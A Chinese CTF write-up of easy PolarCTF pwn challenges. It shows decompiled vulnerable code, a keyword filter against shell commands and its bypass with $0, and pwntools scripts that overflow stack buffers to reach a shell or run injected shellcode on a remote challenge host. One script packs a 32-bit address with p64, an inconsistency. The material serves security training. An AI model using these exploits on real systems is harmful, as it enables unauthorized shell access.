PolarCTF-Pwn(简单)刷题WP

ljnljn Lv6

1、sandbox

ida查看box函数,发现对输入的字符做了检查(sh、cat、flag)

1
2
3
4
5
if ( strchr(buf, 's') || strchr(buf, 'h') || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, '-') )
{
puts("Illegal command.");
exit(0);
}

看这篇文章:pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) - Falling_Dusk - 博客园

对命令进行处理

首先想办法输入sh进去来提权:输入等价的$0
然后发现输什么都不会被拦截,获得flag
image

2、creeper

ida看game函数,发现只要字符数组长度为15就可以输出flag

注意这里换行符也算一个字符,因此输入14个字符换行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 game()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Creeper?");
read(0, buf, 0x100uLL);
if ( strlen(buf) == 15 )
{
puts("Aw man");
system("cat flag");
}
else
{
puts("Si............");
}
return 0LL;
}

image

3、简单溢出(https://www.cnblogs.com/ljnljn/p/18585191)

4、system

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdout, (char *)'\0');
setbuf(stdin, (char *)'\0');
printf("input:");
read(0, buf, 0x1EuLL);
system(buf);
return 0;
}

输入即为指令,直接cat flag
image

5、emm

首先这是32位的!
image

1
2
3
4
5
6
7
8
int yes()
{
_BYTE buf[88]; // [esp+0h] [ebp-58h] BYREF

puts("/bin/sh");
read(0, buf, 256u);
return 0;
}

这里可以看到buf的位置以及大小(点击buf)
image
因此有exp:

1
2
3
4
5
from pwn import *
p=remote("1.95.36.136",2068)
payload=b'a'*(0x58+4)+p64(0x080484D4)
p.sendline(payload)
p.interactive()

image
5、Easy_ShellCode
是个32位文件
image
然后用ida,主函数引入了两个函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
Start();
return 0;
}

init()函数没有问题
看Start()

1
2
3
4
5
6
7
8
9
10
ssize_t Start()
{
_BYTE buf[104]; // [esp+0h] [ebp-68h] BYREF

init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 0x100u);
puts("What,s your name ?:");
return read(0, buf, 0x100u);
}

发现&str空间足够,没问题;而buf数组明显可能存在栈溢出
并且这里没有找到类似/bin/sh等指令,因此考虑写入shellcode覆盖str变量所在地址。

1
2
3
4
5
6
from pwn import *
p=remote("1.95.36.136",2086)
p.sendline(asm(shellcraft.sh()))
payload=b'a'*(0x68+4)+p32(0x0804A080)
p.sendline(payload)
p.interactive()

image

6、小狗汪汪汪

image

1
2
3
4
5
6
7
8
9
int dog()
{
char s[9]; // [esp+Fh] [ebp-9h] BYREF

puts("Hungry!!!");
puts("This puppy needs to eat a few bones?");
gets(s);
return puts("Woof!!!");
}

gets(s)为危险函数,存在栈溢出可能性

1
2
3
4
int getshell()
{
return system("/bin/sh");
}

shift+F12发现/bin/sh
找到内存位置
image
exp

1
2
3
4
5
from pwn import *
p=remote("1.95.36.136",2077)
payload=b'a'*(0x9+4)+p32(0x080485A4)
p.sendline(payload)
p.interactive()

image

  • 标题: PolarCTF-Pwn(简单)刷题WP
  • 作者: ljnljn
  • 创建于 : 2024-12-05 14:21:00
  • 更新于 : 2026-05-25 22:04:46
  • 链接: https://ljnljn2005.github.io/2024/12/05/PolarCTF-Pwn(简单)刷题WP/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。